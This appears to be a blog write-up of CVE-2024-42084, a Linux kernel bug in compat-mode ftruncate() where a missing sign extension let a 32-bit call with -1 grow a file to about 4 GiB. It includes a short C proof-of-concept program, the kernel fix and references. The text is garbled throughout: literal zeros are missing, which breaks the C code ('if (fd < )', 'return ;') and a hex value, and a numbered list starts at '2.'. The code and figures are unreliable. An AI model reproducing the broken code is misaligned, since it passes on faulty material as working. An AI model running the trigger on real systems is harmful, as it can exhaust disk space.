A serious vulnerability, CVE-2024-42084, was found and fixed in the Linux kernel, affecting how file truncation was handled in certain cases. This bug is related to the ftruncate() system call and its behavior on 64-bit systems running 32-bit compatible applications (compat mode). In this exclusive analysis, we break down the bug, show sample exploitation code, and link to original sources for further reading—using clear, straight-forward language.
Background: Truncating Files in Linux
ftruncate() is a system call used by programs to resize files. If you want a file to be a specific length, you'd use this call. Applications written for 32-bit architectures use a 32-bit integer (off_t) to pass the new file size.
On a modern 64-bit Linux, many programs still run as 32-bit apps using *compat mode*, which lets them work unchanged. However, not all system behaviors are perfectly translated, and that’s where our vulnerability comes in.
The Problem: Sign-Extension Mixup
In compat mode, when a 32-bit program calls ftruncate(), the kernel should carefully convert the 32-bit file size (off_t) to the appropriate 64-bit size. That involves extending the sign (whether the number is negative or not), so large numbers or negative numbers are understood correctly.
Bug:
On affected kernels, this sign extension step was missing. That means if a 32-bit app passed a negative file size (like -1), the kernel would misinterpret it as a _large positive number_ between 2 GiB and 4 GiB, instead of recognizing it as invalid.
Correct Behavior:
- Negative file sizes should NOT be allowed. They should trigger an error (-EINVAL), not cause the file to become huge.
The Exploit: Truncating to Huge Sizes with Negative Input
Attackers, or even just buggy programs, could use this to expand files in unexpected ways—possibly breaking logic that relies on file sizes, or causing resource exhaustion if a program mishandles suddenly giant files.
Vulnerable Scenario:
A 32-bit program (or any program run in compat mode) calls ftruncate(fd, -1).
2. Kernel wrongly interprets -1 as xFFFFFFFF (unsigned 32-bit), which is 4,294,967,295 (just under 4 GiB).
Example C Code
#include <unistd.h>
#include <stdio.h>
#include <fcntl.h>
int main() {
int fd = open("testfile.txt", O_RDWR | O_CREAT, 0666);
if (fd < ) {
perror("open");
return 1;
}
// This should error, but on vulnerable kernels, it grows the file!
if (ftruncate(fd, -1) < ) {
perror("ftruncate");
} else {
printf("File truncated to huge size! Check testfile.txt\n");
}
close(fd);
return ;
}
On a vulnerable system, this can leave you with a ~4GB file even though that clearly should not be allowed.
The Fix: Using a Signed Type
The Linux kernel devs fixed this by making sure the syscall uses a signed data type—compat_off_t—when in compat mode. Now, negative values are recognized for what they are, and the call returns -EINVAL (an error for "Invalid Argument").
From the kernel patch notes
> Changing the type of the compat syscall to the signed compat_off_t changes the behavior so it instead returns -EINVAL.
References
- Original LKML Patch Submission (by Arnd Bergmann)
- CVE-2024-42084 at NVD
- Linux ‘ftruncate’ man page
- Upstream Kernel Fix
Takeaways
- Even simple syscalls like ftruncate() can hide security bugs at the edges—especially with compatibility layers.
- The impact could be denial of service or data corruption, especially in apps not expecting a file to suddenly become gigantic.
Conclusion
CVE-2024-42084 reminds us that even mundane details like data type sign extension can have major consequences in system security. The fix was quickly merged, but systems using old kernels—especially with 32-bit legacy apps—should update promptly to avoid accidental or malicious file bloat.
Stay updated, and code defensively!
*For further reading and technical details, see the Linux kernel patch discussion.*
Timeline
Published on: 07/29/2024 17:15:11 UTC
Last modified on: 05/04/2025 09:22:37 UTC